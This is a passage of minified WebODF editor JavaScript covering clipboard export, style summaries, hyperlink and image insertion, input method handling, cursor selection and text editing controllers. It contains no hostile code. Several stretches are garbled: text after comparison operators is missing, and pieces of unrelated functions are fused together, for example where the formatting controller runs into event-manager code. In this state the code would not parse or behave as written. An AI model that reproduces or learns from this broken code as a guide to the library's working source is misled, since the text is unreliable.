f="",n=k.filter?k.filter.acceptNode(b):NodeFilter.FILTER_ACCEPT,p=b.nodeType,r;if((n===NodeFilter.FILTER_ACCEPT||n===NodeFilter.FILTER_SKIP)&&d.isTextContentContainingNode(b))for(r=b.firstChild;r;)f+=g(r),r=r.nextSibling;n===NodeFilter.FILTER_ACCEPT&&(p===Node.ELEMENT_NODE&&d.isParagraph(b)?f+="\n":p===Node.TEXT_NODE&&b.textContent&&(f+=b.textContent));return f}var k=this,d=odf.OdfUtils;this.filter=null;this.writeToString=function(b){if(!b)return""; +b=g(b);"\n"===b[b.length-1]&&(b=b.substr(0,b.length-1));return b}};gui.MimeDataExporter=function(){var g;this.exportRangeToDataTransfer=function(k,d){var b;b=d.startContainer.ownerDocument.createElement("span");b.appendChild(d.cloneContents());b=g.writeToString(b);try{k.setData("text/plain",b)}catch(f){k.setData("Text",b)}};g=new odf.TextSerializer;g.filter=new odf.OdfNodeFilter}; +gui.Clipboard=function(g){this.setDataFromRange=function(k,d){var b,f=k.clipboardData;b=runtime.getWindow();!f&&b&&(f=b.clipboardData);f?(b=!0,g.exportRangeToDataTransfer(f,d),k.preventDefault()):b=!1;return b}}; +gui.SessionContext=function(g,k){var d=g.getOdtDocument(),b=odf.OdfUtils;this.isLocalCursorWithinOwnAnnotation=function(){var f=d.getCursor(k),g;if(!f)return!1;g=f&&f.getNode();f=d.getMember(k).getProperties().fullName;return(g=b.getParentAnnotation(g,d.getRootNode()))&&b.getAnnotationCreator(g)===f?!0:!1}}; +gui.StyleSummary=function(g){function k(b,d){var k=b+"|"+d,q;f.hasOwnProperty(k)||(q=[],g.forEach(function(e){e=(e=e.styleProperties[b])&&e[d];-1===q.indexOf(e)&&q.push(e)}),f[k]=q);return f[k]}function d(b,d,f){return function(){var g=k(b,d);return f.length>=g.length&&g.every(function(b){return-1!==f.indexOf(b)})}}function b(b,d){var f=k(b,d);return 1===f.length?f[0]:void 0}var f={};this.getPropertyValues=k;this.getCommonValue=b;this.isBold=d("style:text-properties","fo:font-weight",["bold"]);this.isItalic= +d("style:text-properties","fo:font-style",["italic"]);this.hasUnderline=d("style:text-properties","style:text-underline-style",["solid"]);this.hasStrikeThrough=d("style:text-properties","style:text-line-through-style",["solid"]);this.fontSize=function(){var d=b("style:text-properties","fo:font-size");return d&&parseFloat(d)};this.fontName=function(){return b("style:text-properties","style:font-name")};this.isAlignedLeft=d("style:paragraph-properties","fo:text-align",["left","start"]);this.isAlignedCenter= +d("style:paragraph-properties","fo:text-align",["center"]);this.isAlignedRight=d("style:paragraph-properties","fo:text-align",["right","end"]);this.isAlignedJustified=d("style:paragraph-properties","fo:text-align",["justify"]);this.text={isBold:this.isBold,isItalic:this.isItalic,hasUnderline:this.hasUnderline,hasStrikeThrough:this.hasStrikeThrough,fontSize:this.fontSize,fontName:this.fontName};this.paragraph={isAlignedLeft:this.isAlignedLeft,isAlignedCenter:this.isAlignedCenter,isAlignedRight:this.isAlignedRight, +isAlignedJustified:this.isAlignedJustified}}; +gui.DirectFormattingController=function(g,k,d,b,f,n,p){function r(){return U.value().styleSummary}function q(){return U.value().enabledFeatures}function e(a){var b;a.collapsed?(b=a.startContainer,b.hasChildNodes()&&a.startOffseta.clientWidth||a.scrollHeight>a.clientHeight)&&c.push(new l(a)),a=a.parentNode;c.push(new e(v));return c}function w(){var a; +h()||(a=z(K),x(),K.focus(),a.forEach(function(a){a.restore()}))}var v=runtime.getWindow(),u={beforecut:!0,beforepaste:!0,longpress:!0,drag:!0,dragstop:!0},t={mousedown:!0,mouseup:!0,focus:!0},A={},I={},K,L=g.getCanvas().getElement(),E=this,N={};this.addFilter=function(c,b){a(c,!0).filters.push(b)};this.removeFilter=function(c,b){var d=a(c,!0),e=d.filters.indexOf(b);-1!==e&&d.filters.splice(e,1)};this.subscribe=c;this.unsubscribe=m;this.hasFocus=h;this.focus=w;this.getEventTrap=function(){return K}; +this.setEditing=function(a){var c=h();c&&K.blur();a?K.removeAttribute("readOnly"):K.setAttribute("readOnly","true");c&&w()};this.destroy=function(a){m("touchstart",q);Object.keys(N).forEach(function(a){b(parseInt(a,10))});N.length=0;Object.keys(A).forEach(function(a){A[a].destroy()});A={};m("mousedown",y);m("mouseup",x);m("contextmenu",x);Object.keys(I).forEach(function(a){I[a].destroy()});I={};K.parentNode.removeChild(K);a()};(function(){var a=g.getOdfCanvas().getSizer(),b=a.ownerDocument;runtime.assert(Boolean(v), +"EventManager requires a window object to operate correctly");K=b.createElement("textarea");K.id="eventTrap";K.setAttribute("tabindex","-1");K.setAttribute("readOnly","true");K.setAttribute("rows","1");a.appendChild(K);c("mousedown",y);c("mouseup",x);c("contextmenu",x);A.longpress=new d("longpress",["touchstart","touchmove","touchend"],n);A.drag=new d("drag",["touchstart","touchmove","touchend"],p);A.dragstop=new d("dragstop",["drag","touchend"],r);c("touchstart",q)})()}; +gui.IOSSafariSupport=function(g){function k(){d.innerHeight!==d.outerHeight&&(b.style.display="none",runtime.requestAnimationFrame(function(){b.style.display="block"}))}var d=runtime.getWindow(),b=g.getEventTrap();this.destroy=function(d){g.unsubscribe("focus",k);b.removeAttribute("autocapitalize");b.style.WebkitTransform="";d()};g.subscribe("focus",k);b.setAttribute("autocapitalize","off");b.style.WebkitTransform="translateX(-10000px)"}; +gui.HyperlinkController=function(g,k,d,b){function f(){var b=!0;!0===k.getState(gui.CommonConstraints.EDIT.REVIEW_MODE)&&(b=d.isLocalCursorWithinOwnAnnotation());b!==e&&(e=b,q.emit(gui.HyperlinkController.enabledChanged,e))}function n(d){d.getMemberId()===b&&f()}var p=odf.OdfUtils,r=g.getOdtDocument(),q=new core.EventNotifier([gui.HyperlinkController.enabledChanged]),e=!1;this.isEnabled=function(){return e};this.subscribe=function(b,a){q.subscribe(b,a)};this.unsubscribe=function(b,a){q.unsubscribe(b, +a)};this.addHyperlink=function(d,a){if(e){var c=r.getCursorSelection(b),f=new ops.OpApplyHyperlink,h=[];if(0===c.length||a)a=a||d,f=new ops.OpInsertText,f.init({memberid:b,position:c.position,text:a}),c.length=a.length,h.push(f);f=new ops.OpApplyHyperlink;f.init({memberid:b,position:c.position,length:c.length,hyperlink:d});h.push(f);g.enqueue(h)}};this.removeHyperlinks=function(){if(e){var d=r.createPositionIterator(r.getRootNode()),a=r.getCursor(b).getSelectedRange(),c=p.getHyperlinkElements(a), +f=a.collapsed&&1===c.length,h=r.getDOMDocument().createRange(),k=[],n,q;0!==c.length&&(c.forEach(function(a){h.selectNodeContents(a);n=r.convertDomToCursorRange({anchorNode:h.startContainer,anchorOffset:h.startOffset,focusNode:h.endContainer,focusOffset:h.endOffset});q=new ops.OpRemoveHyperlink;q.init({memberid:b,position:n.position,length:n.length});k.push(q)}),f||(f=c[0],-1===a.comparePoint(f,0)&&(h.setStart(f,0),h.setEnd(a.startContainer,a.startOffset),n=r.convertDomToCursorRange({anchorNode:h.startContainer, +anchorOffset:h.startOffset,focusNode:h.endContainer,focusOffset:h.endOffset}),0k.width&&(v=k.width/n.width);n.height>k.height&&(u=k.height/n.height);k=Math.min(v,u);n= +{width:n.width*k,height:n.height*k}}k=p.convert(n.width,"px","cm")+"cm";p=p.convert(n.height,"px","cm")+"cm";u=e.getOdfCanvas().odfContainer().rootElement.styles;n=c.toLowerCase();var v=r.hasOwnProperty(n)?r[n]:null,t;n=[];runtime.assert(null!==v,"Image type is not supported: "+c);v="Pictures/"+f.generateImageName()+v;t=new ops.OpSetBlob;t.init({memberid:b,filename:v,mimetype:c,content:d});n.push(t);a.getStyleElement("Graphics","graphic",[u])||(c=new ops.OpAddStyle,c.init({memberid:b,styleName:"Graphics", +styleFamily:"graphic",isAutomaticStyle:!1,setProperties:{"style:graphic-properties":{"text:anchor-type":"paragraph","svg:x":"0cm","svg:y":"0cm","style:wrap":"dynamic","style:number-wrapped-paragraphs":"no-limit","style:wrap-contour":"false","style:vertical-pos":"top","style:vertical-rel":"paragraph","style:horizontal-pos":"center","style:horizontal-rel":"paragraph"}}}),n.push(c));c=f.generateStyleName();d=new ops.OpAddStyle;d.init({memberid:b,styleName:c,styleFamily:"graphic",isAutomaticStyle:!0, +setProperties:{"style:parent-style-name":"Graphics","style:graphic-properties":{"style:vertical-pos":"top","style:vertical-rel":"baseline","style:horizontal-pos":"center","style:horizontal-rel":"paragraph","fo:background-color":"transparent","style:background-transparency":"100%","style:shadow":"none","style:mirror":"none","fo:clip":"rect(0cm, 0cm, 0cm, 0cm)","draw:luminance":"0%","draw:contrast":"0%","draw:red":"0%","draw:green":"0%","draw:blue":"0%","draw:gamma":"100%","draw:color-inversion":"false", +"draw:image-opacity":"100%","draw:color-mode":"standard"}}});n.push(d);t=new ops.OpInsertImage;t.init({memberid:b,position:e.getCursorPosition(b),filename:v,frameWidth:k,frameHeight:p,frameStyleName:c,frameName:f.generateFrameName()});n.push(t);g.enqueue(n)}};this.destroy=function(a){e.unsubscribe(ops.Document.signalCursorMoved,p);k.unsubscribe(gui.CommonConstraints.EDIT.REVIEW_MODE,n);a()};e.subscribe(ops.Document.signalCursorMoved,p);k.subscribe(gui.CommonConstraints.EDIT.REVIEW_MODE,n);n()}; +gui.ImageController.enabledChanged="enabled/changed"; +gui.ImageSelector=function(g){function k(){var d=g.getSizer(),k=f.createElement("div");k.id="imageSelector";k.style.borderWidth="1px";d.appendChild(k);b.forEach(function(b){var d=f.createElement("div");d.className=b;k.appendChild(d)});return k}var d=odf.Namespaces.svgns,b="topLeft topRight bottomRight bottomLeft topMiddle rightMiddle bottomMiddle leftMiddle".split(" "),f=g.getElement().ownerDocument,n=!1;this.select=function(b){var r,q,e=f.getElementById("imageSelector");e||(e=k());n=!0;r=e.parentNode; +q=b.getBoundingClientRect();var l=r.getBoundingClientRect(),a=g.getZoomLevel();r=(q.left-l.left)/a-1;q=(q.top-l.top)/a-1;e.style.display="block";e.style.left=r+"px";e.style.top=q+"px";e.style.width=b.getAttributeNS(d,"width");e.style.height=b.getAttributeNS(d,"height")};this.clearSelection=function(){var b;n&&(b=f.getElementById("imageSelector"))&&(b.style.display="none");n=!1};this.isSelectorElement=function(b){var d=f.getElementById("imageSelector");return d?b===d||b.parentNode===d:!1}}; +(function(){function g(g){function d(b){p=b.which&&String.fromCharCode(b.which)===n;n=void 0;return!1===p}function b(){p=!1}function f(b){n=b.data;p=!1}var n,p=!1;this.destroy=function(n){g.unsubscribe("textInput",b);g.unsubscribe("compositionend",f);g.removeFilter("keypress",d);n()};g.subscribe("textInput",b);g.subscribe("compositionend",f);g.addFilter("keypress",d)}gui.InputMethodEditor=function(k,d){function b(c){a&&(c?a.getNode().setAttributeNS("urn:webodf:names:cursor","composing","true"):(a.getNode().removeAttributeNS("urn:webodf:names:cursor", +"composing"),h.textContent=""))}function f(){x&&(x=!1,b(!1),w.emit(gui.InputMethodEditor.signalCompositionEnd,{data:z}),z="")}function n(){I||(I=!0,f(),a&&a.getSelectedRange().collapsed?c.value="":c.value=u.writeToString(a.getSelectedRange().cloneContents()),c.setSelectionRange(0,c.value.length),I=!1)}function p(){d.hasFocus()&&y.trigger()}function r(){v=void 0;y.cancel();b(!0);x||w.emit(gui.InputMethodEditor.signalCompositionStart,{data:""})}function q(a){a=v=a.data;x=!0;z+=a;y.trigger()}function e(a){a.data!== +v&&(a=a.data,x=!0,z+=a,y.trigger());v=void 0}function l(){h.textContent=c.value}var a=null,c=d.getEventTrap(),m=c.ownerDocument,h,y,x=!1,z="",w=new core.EventNotifier([gui.InputMethodEditor.signalCompositionStart,gui.InputMethodEditor.signalCompositionEnd]),v,u,t=[],A,I=!1;this.subscribe=w.subscribe;this.unsubscribe=w.unsubscribe;this.registerCursor=function(c){c.getMemberId()===k&&(a=c,a.getNode().appendChild(h),c.subscribe(ops.OdtCursor.signalCursorUpdated,p),d.subscribe("input",l),d.subscribe("compositionupdate", +l))};this.removeCursor=function(c){a&&c===k&&(a.getNode().removeChild(h),a.unsubscribe(ops.OdtCursor.signalCursorUpdated,p),d.unsubscribe("input",l),d.unsubscribe("compositionupdate",l),a=null)};this.destroy=function(a){d.unsubscribe("compositionstart",r);d.unsubscribe("compositionend",q);d.unsubscribe("textInput",e);d.unsubscribe("keypress",f);d.unsubscribe("focus",n);core.Async.destroyAll(A,a)};(function(){u=new odf.TextSerializer;u.filter=new odf.OdfNodeFilter;d.subscribe("compositionstart",r); +d.subscribe("compositionend",q);d.subscribe("textInput",e);d.subscribe("keypress",f);d.subscribe("focus",n);t.push(new g(d));A=t.map(function(a){return a.destroy});h=m.createElement("span");h.setAttribute("id","composer");y=core.Task.createTimeoutTask(n,1);A.push(y.destroy)})()};gui.InputMethodEditor.signalCompositionStart="input/compositionstart";gui.InputMethodEditor.signalCompositionEnd="input/compositionend"})(); +gui.MetadataController=function(g,k){function d(b){n.emit(gui.MetadataController.signalMetadataChanged,b)}function b(b){var d=-1===p.indexOf(b);d||runtime.log("Setting "+b+" is restricted.");return d}var f=g.getOdtDocument(),n=new core.EventNotifier([gui.MetadataController.signalMetadataChanged]),p=["dc:creator","dc:date","meta:editing-cycles","meta:editing-duration","meta:document-statistic"];this.setMetadata=function(d,f){var e={},l="",a;d&&Object.keys(d).filter(b).forEach(function(a){e[a]=d[a]}); +f&&(l=f.filter(b).join(","));if(0f:!1}function d(b){null!==b&&!1===k(b)&&(f=Math.abs(b-g))}var b=this,f,n=gui.StepInfo.VisualDirection.LEFT_TO_RIGHT;this.token=void 0;this.process=function(f,g,q){var e,l;f.visualDirection===n?(e=g&&g.right,l=q&&q.left):(e=g&&g.left,l=q&&q.right);if(k(e)||k(l))return!0;if(g||q)d(e),d(l),b.token=f.token;return!1}}; +gui.LineBoundaryScanner=function(){var g=this,k=null;this.token=void 0;this.process=function(d,b,f){var n;if(n=f)if(k){var p=k;n=Math.min(p.bottom-p.top,f.bottom-f.top);var r=Math.max(p.top,f.top),p=Math.min(p.bottom,f.bottom)-r;n=.4>=(0b?a.previousSibling:a.nextSibling,c(f)===NodeFilter.FILTER_ACCEPT&&(d=f),a=a.parentNode;return d}function b(a,b){var c;return null===a?m.NO_NEIGHBOUR:p.isCharacterElement(a)?m.SPACE_CHAR:a.nodeType===f||p.isTextSpan(a)||p.isHyperlink(a)?(c=a.textContent.charAt(b()),q.test(c)?m.SPACE_CHAR:r.test(c)?m.PUNCTUATION_CHAR:m.WORD_CHAR):m.OTHER}var f=Node.TEXT_NODE,n=Node.ELEMENT_NODE, +p=odf.OdfUtils,r=/[!-#%-*,-\/:-;?-@\[-\]_{}\u00a1\u00ab\u00b7\u00bb\u00bf;\u00b7\u055a-\u055f\u0589-\u058a\u05be\u05c0\u05c3\u05c6\u05f3-\u05f4\u0609-\u060a\u060c-\u060d\u061b\u061e-\u061f\u066a-\u066d\u06d4\u0700-\u070d\u07f7-\u07f9\u0964-\u0965\u0970\u0df4\u0e4f\u0e5a-\u0e5b\u0f04-\u0f12\u0f3a-\u0f3d\u0f85\u0fd0-\u0fd4\u104a-\u104f\u10fb\u1361-\u1368\u166d-\u166e\u169b-\u169c\u16eb-\u16ed\u1735-\u1736\u17d4-\u17d6\u17d8-\u17da\u1800-\u180a\u1944-\u1945\u19de-\u19df\u1a1e-\u1a1f\u1b5a-\u1b60\u1c3b-\u1c3f\u1c7e-\u1c7f\u2000-\u206e\u207d-\u207e\u208d-\u208e\u3008-\u3009\u2768-\u2775\u27c5-\u27c6\u27e6-\u27ef\u2983-\u2998\u29d8-\u29db\u29fc-\u29fd\u2cf9-\u2cfc\u2cfe-\u2cff\u2e00-\u2e7e\u3000-\u303f\u30a0\u30fb\ua60d-\ua60f\ua673\ua67e\ua874-\ua877\ua8ce-\ua8cf\ua92e-\ua92f\ua95f\uaa5c-\uaa5f\ufd3e-\ufd3f\ufe10-\ufe19\ufe30-\ufe52\ufe54-\ufe61\ufe63\ufe68\ufe6a-\ufe6b\uff01-\uff03\uff05-\uff0a\uff0c-\uff0f\uff1a-\uff1b\uff1f-\uff20\uff3b-\uff3d\uff3f\uff5b\uff5d\uff5f-\uff65]|\ud800[\udd00-\udd01\udf9f\udfd0]|\ud802[\udd1f\udd3f\ude50-\ude58]|\ud809[\udc00-\udc7e]/, +q=/\s/,e=core.PositionFilter.FilterResult.FILTER_ACCEPT,l=core.PositionFilter.FilterResult.FILTER_REJECT,a=odf.WordBoundaryFilter.IncludeWhitespace.TRAILING,c=odf.WordBoundaryFilter.IncludeWhitespace.LEADING,m={NO_NEIGHBOUR:0,SPACE_CHAR:1,PUNCTUATION_CHAR:2,WORD_CHAR:3,OTHER:4};this.acceptPosition=function(f){var g=f.container(),p=f.leftNode(),r=f.rightNode(),q=f.unfilteredDomOffset,v=function(){return f.unfilteredDomOffset()-1};g.nodeType===n&&(null===r&&(r=d(g,1,f.getNodeFilter())),null===p&&(p= +d(g,-1,f.getNodeFilter())));g!==r&&(q=function(){return 0});g!==p&&null!==p&&(v=function(){return p.textContent.length-1});g=b(p,v);r=b(r,q);return g===m.WORD_CHAR&&r===m.WORD_CHAR||g===m.PUNCTUATION_CHAR&&r===m.PUNCTUATION_CHAR||k===a&&g!==m.NO_NEIGHBOUR&&r===m.SPACE_CHAR||k===c&&g===m.SPACE_CHAR&&r!==m.NO_NEIGHBOUR?l:e}};odf.WordBoundaryFilter.IncludeWhitespace={None:0,TRAILING:1,LEADING:2}; +gui.SelectionController=function(g,k){function d(a){var b=a.spec();if(a.isEdit||b.memberid===k)I=void 0,K.cancel()}function b(){var a=x.getCursor(k).getNode();return x.createStepIterator(a,0,[v,t],x.getRootElement(a))}function f(a,b,c){c=new odf.WordBoundaryFilter(x,c);var d=x.getRootElement(a)||x.getRootNode(),e=x.createRootFilter(d);return x.createStepIterator(a,b,[v,e,c],d)}function n(a,b){return b?{anchorNode:a.startContainer,anchorOffset:a.startOffset,focusNode:a.endContainer,focusOffset:a.endOffset}: +{anchorNode:a.endContainer,anchorOffset:a.endOffset,focusNode:a.startContainer,focusOffset:a.startOffset}}function p(a,b,c){var d=new ops.OpMoveCursor;d.init({memberid:k,position:a,length:b||0,selectionType:c});return d}function r(a,b,c){var d;d=x.getCursor(k);d=n(d.getSelectedRange(),d.hasForwardSelection());d.focusNode=a;d.focusOffset=b;c||(d.anchorNode=d.focusNode,d.anchorOffset=d.focusOffset);a=x.convertDomToCursorRange(d);g.enqueue([p(a.position,a.length)])}function q(a){var b;b=f(a.startContainer, +a.startOffset,L);b.roundToPreviousStep()&&a.setStart(b.container(),b.offset());b=f(a.endContainer,a.endOffset,E);b.roundToNextStep()&&a.setEnd(b.container(),b.offset())}function e(a){var b=w.getParagraphElements(a),c=b[0],b=b[b.length-1];c&&a.setStart(c,0);b&&(w.isParagraph(a.endContainer)&&0===a.endOffset?a.setEndBefore(b):a.setEnd(b,b.childNodes.length))}function l(a,b,c,d){var e,f;d?(e=c.startContainer,f=c.startOffset):(e=c.endContainer,f=c.endOffset);z.containsNode(a,e)||(f=0>z.comparePoints(a, +0,e,f)?0:a.childNodes.length,e=a);a=x.createStepIterator(e,f,b,w.getParagraphElement(e)||a);a.roundToClosestStep()||runtime.assert(!1,"No step found in requested range");d?c.setStart(a.container(),a.offset()):c.setEnd(a.container(),a.offset())}function a(a,c){var d=b();d.advanceStep(a)&&r(d.container(),d.offset(),c)}function c(a,c){var d,e=I,f=[new gui.LineBoundaryScanner,new gui.ParagraphBoundaryScanner];void 0===e&&A&&(e=A());isNaN(e)||(d=b(),u.moveToFilteredStep(d,a,f)&&d.advanceStep(a)&&(f=[new gui.ClosestXOffsetScanner(e), +new gui.LineBoundaryScanner,new gui.ParagraphBoundaryScanner],u.moveToFilteredStep(d,a,f)&&(r(d.container(),d.offset(),c),I=e,K.restart())))}function m(a,c){var d=b(),e=[new gui.LineBoundaryScanner,new gui.ParagraphBoundaryScanner];u.moveToFilteredStep(d,a,e)&&r(d.container(),d.offset(),c)}function h(a,b){var c=x.getCursor(k),c=n(c.getSelectedRange(),c.hasForwardSelection()),c=f(c.focusNode,c.focusOffset,L);c.advanceStep(a)&&r(c.container(),c.offset(),b)}function y(a,b,c){var d=!1,e=x.getCursor(k), +e=n(e.getSelectedRange(),e.hasForwardSelection()),d=x.getRootElement(e.focusNode);runtime.assert(Boolean(d),"SelectionController: Cursor outside root");e=x.createStepIterator(e.focusNode,e.focusOffset,[v,t],d);e.roundToClosestStep();e.advanceStep(a)&&(c=c(e.container()))&&(a===N?(e.setPosition(c,0),d=e.roundToNextStep()):(e.setPosition(c,c.childNodes.length),d=e.roundToPreviousStep()),d&&r(e.container(),e.offset(),b))}var x=g.getOdtDocument(),z=core.DomUtils,w=odf.OdfUtils,v=x.getPositionFilter(), +u=new gui.GuiStepUtils,t=x.createRootFilter(k),A=null,I,K,L=odf.WordBoundaryFilter.IncludeWhitespace.TRAILING,E=odf.WordBoundaryFilter.IncludeWhitespace.LEADING,N=core.StepDirection.PREVIOUS,O=core.StepDirection.NEXT;this.selectionToRange=function(a){var b=0<=z.comparePoints(a.anchorNode,a.anchorOffset,a.focusNode,a.focusOffset),c=a.focusNode.ownerDocument.createRange();b?(c.setStart(a.anchorNode,a.anchorOffset),c.setEnd(a.focusNode,a.focusOffset)):(c.setStart(a.focusNode,a.focusOffset),c.setEnd(a.anchorNode, +a.anchorOffset));return{range:c,hasForwardSelection:b}};this.rangeToSelection=n;this.selectImage=function(a){var c=x.getRootElement(a),b=x.createRootFilter(c),c=x.createStepIterator(a,0,[b,x.getPositionFilter()],c),d;c.roundToPreviousStep()||runtime.assert(!1,"No walkable position before frame");b=c.container();d=c.offset();c.setPosition(a,a.childNodes.length);c.roundToNextStep()||runtime.assert(!1,"No walkable position after frame");a=x.convertDomToCursorRange({anchorNode:b,anchorOffset:d,focusNode:c.container(), +focusOffset:c.offset()});a=p(a.position,a.length,ops.OdtCursor.RegionSelection);g.enqueue([a])};this.expandToWordBoundaries=q;this.expandToParagraphBoundaries=e;this.selectRange=function(a,c,b){var d=x.getOdfCanvas().getElement(),f,h=[v];f=z.containsNode(d,a.startContainer);d=z.containsNode(d,a.endContainer);if(f||d)if(f&&d&&(2===b?q(a):3<=b&&e(a)),(b=c?x.getRootElement(a.startContainer):x.getRootElement(a.endContainer))||(b=x.getRootNode()),h.push(x.createRootFilter(b)),l(b,h,a,!0),l(b,h,a,!1),a= +n(a,c),c=x.convertDomToCursorRange(a),a=x.getCursorSelection(k),c.position!==a.position||c.length!==a.length)a=p(c.position,c.length,ops.OdtCursor.RangeSelection),g.enqueue([a])};this.moveCursorToLeft=function(){a(N,!1);return!0};this.moveCursorToRight=function(){a(O,!1);return!0};this.extendSelectionToLeft=function(){a(N,!0);return!0};this.extendSelectionToRight=function(){a(O,!0);return!0};this.setCaretXPositionLocator=function(a){A=a};this.moveCursorUp=function(){c(N,!1);return!0};this.moveCursorDown= +function(){c(O,!1);return!0};this.extendSelectionUp=function(){c(N,!0);return!0};this.extendSelectionDown=function(){c(O,!0);return!0};this.moveCursorBeforeWord=function(){h(N,!1);return!0};this.moveCursorPastWord=function(){h(O,!1);return!0};this.extendSelectionBeforeWord=function(){h(N,!0);return!0};this.extendSelectionPastWord=function(){h(O,!0);return!0};this.moveCursorToLineStart=function(){m(N,!1);return!0};this.moveCursorToLineEnd=function(){m(O,!1);return!0};this.extendSelectionToLineStart= +function(){m(N,!0);return!0};this.extendSelectionToLineEnd=function(){m(O,!0);return!0};this.extendSelectionToParagraphStart=function(){y(N,!0,w.getParagraphElement);return!0};this.extendSelectionToParagraphEnd=function(){y(O,!0,w.getParagraphElement);return!0};this.moveCursorToParagraphStart=function(){y(N,!1,w.getParagraphElement);return!0};this.moveCursorToParagraphEnd=function(){y(O,!1,w.getParagraphElement);return!0};this.moveCursorToDocumentStart=function(){y(N,!1,x.getRootElement);return!0}; +this.moveCursorToDocumentEnd=function(){y(O,!1,x.getRootElement);return!0};this.extendSelectionToDocumentStart=function(){y(N,!0,x.getRootElement);return!0};this.extendSelectionToDocumentEnd=function(){y(O,!0,x.getRootElement);return!0};this.extendSelectionToEntireDocument=function(){var a=x.getCursor(k),a=x.getRootElement(a.getNode()),c,b,d;runtime.assert(Boolean(a),"SelectionController: Cursor outside root");d=x.createStepIterator(a,0,[v,t],a);d.roundToClosestStep();c=d.container();b=d.offset(); +d.setPosition(a,a.childNodes.length);d.roundToClosestStep();a=x.convertDomToCursorRange({anchorNode:c,anchorOffset:b,focusNode:d.container(),focusOffset:d.offset()});g.enqueue([p(a.position,a.length)]);return!0};this.destroy=function(a){x.unsubscribe(ops.OdtDocument.signalOperationStart,d);core.Async.destroyAll([K.destroy],a)};(function(){K=core.Task.createTimeoutTask(function(){I=void 0},2E3);x.subscribe(ops.OdtDocument.signalOperationStart,d)})()}; +gui.TextController=function(g,k,d,b,f,n){function p(){y=!0===k.getState(gui.CommonConstraints.EDIT.REVIEW_MODE)?d.isLocalCursorWithinOwnAnnotation():!0}function r(a){a.getMemberId()===b&&p()}function q(a,b,d){var e=[c.getPositionFilter()];d&&e.push(c.createRootFilter(a.startContainer));d=c.createStepIterator(a.startContainer,a.startOffset,e,b);d.roundToClosestStep()||runtime.assert(!1,"No walkable step found in paragraph element at range start");b=c.convertDomPointToCursorStep(d.container(),d.offset()); +a.collapsed?a=b:(d.setPosition(a.endContainer,a.endOffset),d.roundToClosestStep()||runtime.assert(!1,"No walkable step found in paragraph element at range end"),a=c.convertDomPointToCursorStep(d.container(),d.offset()));return{position:b,length:a-b}}function e(a){var c,d,e,f=m.getParagraphElements(a),g=a.cloneRange(),l=[];c=f[0];1a.length&&(a.position+=a.length,a.length=-a.length);return a}function a(a){if(!y)return!1;var d,f=c.getCursor(b).getSelectedRange().cloneRange(), +h=l(c.getCursorSelection(b)),m;if(0===h.length){h=void 0;d=c.getCursor(b).getNode();m=c.getRootElement(d);var k=[c.getPositionFilter(),c.createRootFilter(m)];m=c.createStepIterator(d,0,k,m);m.roundToClosestStep()&&(a?m.nextStep():m.previousStep())&&(h=l(c.convertDomToCursorRange({anchorNode:d,anchorOffset:0,focusNode:m.container(),focusOffset:m.offset()})),a?(f.setStart(d,0),f.setEnd(m.container(),m.offset())):(f.setStart(m.container(),m.offset()),f.setEnd(d,0)))}h&&g.enqueue(e(f));return void 0!== +h}var c=g.getOdtDocument(),m=odf.OdfUtils,h=core.DomUtils,y=!1,x=odf.Namespaces.textns,z=core.StepDirection.NEXT;this.isEnabled=function(){return y};this.enqueueParagraphSplittingOps=function(){if(!y)return!1;var a=c.getCursor(b),d=a.getSelectedRange(),f=l(c.getCursorSelection(b)),h=[],a=m.getParagraphElement(a.getNode()),k=a.getAttributeNS(x,"style-name")||"";0d.left&&(d=v(e)))c.focusNode=d.container,c.focusOffset=d.offset, +b&&(c.anchorNode=c.focusNode,c.anchorOffset=c.focusOffset)}else S.isImage(c.focusNode.firstChild)&&1===c.focusOffset&&S.isCharacterFrame(c.focusNode)&&(d=v(c.focusNode))&&(c.anchorNode=c.focusNode=d.container,c.anchorOffset=c.focusOffset=d.offset);c.anchorNode&&c.focusNode&&(c=T.selectionToRange(c),T.selectRange(c.range,c.hasForwardSelection,0===a.button?a.detail:0));F.focus()}function t(a){var c;if(c=n(a.clientX,a.clientY))a=c.container,c=c.offset,a={anchorNode:a,anchorOffset:c,focusNode:a,focusOffset:c}, +a=T.selectionToRange(a),T.selectRange(a.range,a.hasForwardSelection,2),F.focus()}function A(a){var c=a.target||a.srcElement||null,d,e,f;ma.processRequests();U&&(S.isImage(c)&&S.isCharacterFrame(c.parentNode)&&W.getSelection().isCollapsed?(T.selectImage(c.parentNode),F.focus()):la.isSelectorElement(c)?F.focus():B?(c=b.getSelectedRange(),e=c.collapsed,S.isImage(c.endContainer)&&0===c.endOffset&&S.isCharacterFrame(c.endContainer.parentNode)&&(f=c.endContainer.parentNode,f=v(f))&&(c.setEnd(f.container, +f.offset),e&&c.collapse(!1)),T.selectRange(c,b.hasForwardSelection(),0===a.button?a.detail:0),F.focus()):ua?u(a):(d=aa.cloneEvent(a),M=runtime.setTimeout(function(){u(d)},0)),oa=0,B=U=!1)}function I(a){var c=J.getCursor(d).getSelectedRange();c.collapsed||fa.exportRangeToDataTransfer(a.dataTransfer,c)}function K(){U&&F.focus();oa=0;B=U=!1}function L(a){A(a)}function E(a){var c=a.target||a.srcElement||null,b=null;"annotationRemoveButton"===c.className?(runtime.assert(ja,"Remove buttons are displayed on annotations while annotation editing is disabled in the controller."), +b=c.parentNode.getElementsByTagNameNS(odf.Namespaces.officens,"annotation").item(0),ca.removeAnnotation(b),F.focus()):"webodf-draggable"!==c.getAttribute("class")&&A(a)}function N(a){(a=a.data)&&(-1===a.indexOf("\n")?da.insertText(a):ea.paste(a))}function O(a){return function(){a();return!0}}function D(a){return function(c){return J.getCursor(d).getSelectionType()===ops.OdtCursor.RangeSelection?a(c):!0}}function V(c){F.unsubscribe("keydown",C.handleEvent);F.unsubscribe("keypress",Z.handleEvent);F.unsubscribe("keyup", +ba.handleEvent);F.unsubscribe("copy",q);F.unsubscribe("mousedown",w);F.unsubscribe("mousemove",ma.trigger);F.unsubscribe("mouseup",E);F.unsubscribe("contextmenu",L);F.unsubscribe("dragstart",I);F.unsubscribe("dragend",K);F.unsubscribe("click",pa.handleClick);F.unsubscribe("longpress",t);F.unsubscribe("drag",y);F.unsubscribe("dragstop",x);J.unsubscribe(ops.OdtDocument.signalOperationEnd,na.trigger);J.unsubscribe(ops.Document.signalCursorAdded,ka.registerCursor);J.unsubscribe(ops.Document.signalCursorRemoved, +ka.removeCursor);J.unsubscribe(ops.OdtDocument.signalOperationEnd,a);c()}var W=runtime.getWindow(),J=k.getOdtDocument(),R=new gui.SessionConstraints,P=new gui.SessionContext(k,d),aa=core.DomUtils,S=odf.OdfUtils,fa=new gui.MimeDataExporter,ha=new 